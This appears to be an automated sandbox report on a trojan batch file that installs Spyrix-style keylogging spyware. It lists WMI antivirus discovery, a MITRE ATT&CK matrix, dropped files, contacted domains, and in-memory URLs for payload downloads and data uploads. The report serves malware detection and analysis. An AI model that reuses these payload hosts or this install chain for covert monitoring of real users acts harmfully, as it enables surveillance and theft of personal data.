Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033CD280 GetLocalTime,

53_2_033CD280

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033F05CC GetVersionExA,GetVersionExA,

53_2_033F05CC

Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntivirusProduct

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 67_2_00D252B0 setsockopt,_errno,_errno,_errno,strlen,memset,strncmp,strncmp,htons,WSAGetLastError,setsockopt,WSAIoctl,WSAGetLastError,strchr,htons,htons,bind,WSAGetLastError,getsockname,WSAGetLastError,WSAGetLastError,connect,htons,atoi,

67_2_00D252B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	31 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	111 Disable or Modify Tools	21 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	21 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	11 Registry Run Keys / Startup Folder	41 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	2 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	3 Software Packing	NTDS	67 System Information Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	161 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Modify Registry	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	161 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	2 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
c5WMpr1cOc.bat	19%	Virustotal		Browse
c5WMpr1cOc.bat	26%	ReversingLabs	Script-BAT.Trojan.Pantera

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	3%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-269PL.tmp	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-269PL.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-632MH.tmp	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-632MH.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ASDJS.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ASDJS.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EI053.tmp	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EI053.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-IFJUI.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-IFJUI.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ILFVG.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ILFVG.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-OO1B8.tmp	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-OO1B8.tmp	1%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-P60MT.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-P60MT.tmp	3%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-V94IU.tmp	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-V94IU.tmp	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	4%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	1%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	0%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	0%	Virustotal	Browse
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	3%	ReversingLabs
C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
spyrix.net	4%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
cdnbaynet.com	1%	Virustotal	Browse
cl-e0469d03.edgecdn.ru	0%	Virustotal	Browse
dashboard.spyrix.com	2%	Virustotal	Browse
filedn.com	1%	Virustotal	Browse
cdn.cdndownload.net	0%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection
swtb-download.spyrix-sfk.com	167.114.14.168	true	false
spyrix.net	158.69.117.119	true	false	4%, Virustotal, Browse
dashboard.spyrix.com	158.69.117.119	true	false	2%, Virustotal, Browse
www.google.com	142.250.185.228	true	false	0%, Virustotal, Browse
filedn.com	23.109.93.100	true	false	1%, Virustotal, Browse
cl-e0469d03.edgecdn.ru	95.181.182.182	true	false	0%, Virustotal, Browse
cdnbaynet.com	167.114.14.170	true	false	1%, Virustotal, Browse
cdn.cdndownload.net	unknown	unknown	false	0%, Virustotal, Browse

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://Spyrix.net/dashboard/prg-list	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s108	false
https://spyrix.net/dashboard/prg-actions	false
https://dashboard.spyrix.com/cdn.js	false
https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js	false
https://cdn.cdndownload.net/dashboard30/assets/Modal-04ffda94.css	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404	false
https://cdn.cdndownload.net/dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js	false
https://cdn.cdndownload.net/dashboard30/assets/Nunito-Regular-73dcaa51.woff2	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate.module-c837805f.js	false
https://cdn.cdndownload.net/dashboard30/assets/Button-ca236c00.css	false
https://cdn.cdndownload.net/dashboard30/assets/en-5393c481.js	false
https://cdn.cdndownload.net/dashboard30/assets/Input.vue_vue_type_script_setup_true_lang-31858815.js	false
https://cdn.cdndownload.net/dashboard30/assets/Button.module-6d4e91b8.js	false
https://cdn.cdndownload.net/dashboard30/assets/ButtonText-ead06ca1.css	false

URLs from Memory and Binaries

Name	Source	Malicious
http://www.jrsoftware.org/0	[space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com/account/login-from-program?email=	[space]= .tmp, 00000013.00000003.2574644811.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/copy	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://dashboard.spyrix.com/account/login-from-program	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionstps://s	qrl.exe, 00000045.00000002.2767395081.0000000001C50000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004A.00000002.2768330875.0000000001550000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/usr/monitor/	spkl.exe, spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exen	qrl.exe, 00000043.00000002.2715156517.00000000017E8000.00000004.00000020.00020000.00000000.sdmp	false
https://curl.haxx.se/libcurl/c/curl_easy_setopt.html	qrl.exe, 0000004A.00000002.2767609599.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	false
https://dashboard.spyrix.com/qqS	spkl.exe, 00000035.00000002.2977775602.000000000652A000.00000004.00001000.00020000.00000000.sdmp	false
http://www.fontbureau.com/designers	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
http://www.indyproject.org/	spkl.exe, spkl.exe, 00000035.00000002.2971872040.0000000004541000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2923493069.0000000000863000.00000040.00000001.01000000.00000014.sdmp, spmm.exe, 00000049.00000002.2927093820.0000000002401000.00000004.00001000.00020000.00000000.sdmp, spmm.exe, 00000049.00000000.2712353086.0000000000401000.00000020.00000001.01000000.00000018.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exem(ac	[space]= .tmp, 00000013.00000002.2578906847.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfkM	curl.exe, 0000000C.00000003.1788444030.0000000003294000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788609338.0000000003295000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.execurl.exe	curl.exe, 0000000D.00000002.2046191187.0000000002ED0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2046124324.0000000000D70000.00000004.00000020.00020000.00000000.sdmp	false
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000007.00000003.1705313181.000002BE1752F000.00000004.00000800.00020000.00000000.sdmp	false
http://www.spyrix.com/pro_upgrade.htm?lic=	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfkG	curl.exe, 0000000C.00000002.1788586012.0000000003280000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.certum.pl/ca.crl0:	[space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfkE	curl.exe, 0000000C.00000003.1788444030.0000000003294000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788609338.0000000003295000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDATA=C:	qrl.exe, 0000004A.00000002.2768473168.00000000015D0000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000053.00000002.2775496566.0000000000570000.00000004.00000020.00020000.00000000.sdmp	false
http://www.galapagosdesign.com/DPlease	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
http://www.myspace.com/search/	spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/create_folder?	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.zhongyicts.com.cn	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
https://swtb-download.spyrix-	WMIC.exe, 00000017.00000002.2085761747.000000000311C000.00000004.00000020.00020000.00000000.sdmp	false
https://www.spyrix.com	spkl.exe, 00000035.00000002.2933829318.0000000000915000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2555270269.00000000044CC000.00000004.00001000.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	[space]= .exe, 00000006.00000002.1984705669.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp	false
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000007.00000003.1705313181.000002BE174F2000.00000004.00000800.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsll	qrl.exe, 00000043.00000003.2708573105.0000000001C6B000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000043.00000002.2715615199.0000000001C6D000.00000004.00000020.00020000.00000000.sdmp	false
http://www.innosetup.com/	[space]= .exe, 00000012.00000003.2050312910.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000012.00000003.2049890416.0000000002440000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000000.2051232683.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/4047	curl.exe, 00000005.00000003.1700375385.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700285153.000001295C1BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.1700541419.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/proxy/upload	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfk%	curl.exe, 0000000C.00000003.1788444030.0000000003294000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000003.1788331941.0000000003291000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000C.00000002.1788609338.0000000003295000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/shares/dropbox	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
HTTPS://DASHBOARD.SPYRIX.COM/	spkl.exe, 00000035.00000002.2980946676.0000000006BBA000.00000004.00001000.00020000.00000000.sdmp	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404E	curl.exe, 00000005.00000003.1700375385.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700285153.000001295C1BD000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000002.1700541419.000001295C1BE000.00000004.00000020.00020000.00000000.sdmp	false
https://api-content.dropbox.com/1/files/dropbox	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://crl.ver)	svchost.exe, 00000007.00000002.2932001410.000002BE17600000.00000004.00000020.00020000.00000000.sdmp	false
https://api-content.dropbox.com/1/files_put	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://www.carterandcone.coml	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
https://api.dropbox.com/1/oauth/request_token?	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
HTTPS://SPYRIX.NET/DASHBOARD/PRG-ACTIONS	spkl.exe, 00000035.00000002.2971872040.000000000456C000.00000004.00001000.00020000.00000000.sdmp	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404l=	curl.exe, 00000005.00000002.1700541419.000001295C1A0000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/das	spkl.exe, 00000035.00000003.2740720036.0000000001717000.00000004.00000020.00020000.00000000.sdmp	false
https://api.dropbox.com/1/metadata/sandbox	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/	curl.exe, 00000005.00000003.1699852631.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1699926974.000001295C1C3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700101956.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700234054.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, [space]= .exe, 00000006.00000002.1984705669.0000000002DAE000.00000004.00000800.00020000.00000000.sdmp	false
https://spyrix.net/usr/monitor/access.txt	[space]= .tmp, 00000013.00000003.2562658084.0000000003303000.00000004.00001000.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/help.html#registrate	spkl.exe	false
http://www.ok.ru/dk?st.cmd=searchResult	spkl.exe, 00000035.00000002.2971872040.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	false
